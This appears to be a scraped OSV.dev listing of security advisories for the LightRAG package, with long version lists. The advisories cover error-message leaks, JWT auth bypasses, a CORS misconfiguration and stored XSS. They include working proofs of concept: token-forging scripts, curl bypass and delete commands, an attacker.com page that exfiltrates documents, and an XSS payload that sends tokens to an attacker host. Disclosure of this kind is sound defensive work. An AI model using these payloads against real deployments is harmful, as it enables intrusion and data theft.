            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 28, 2025

1.4.9rc4 pre

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

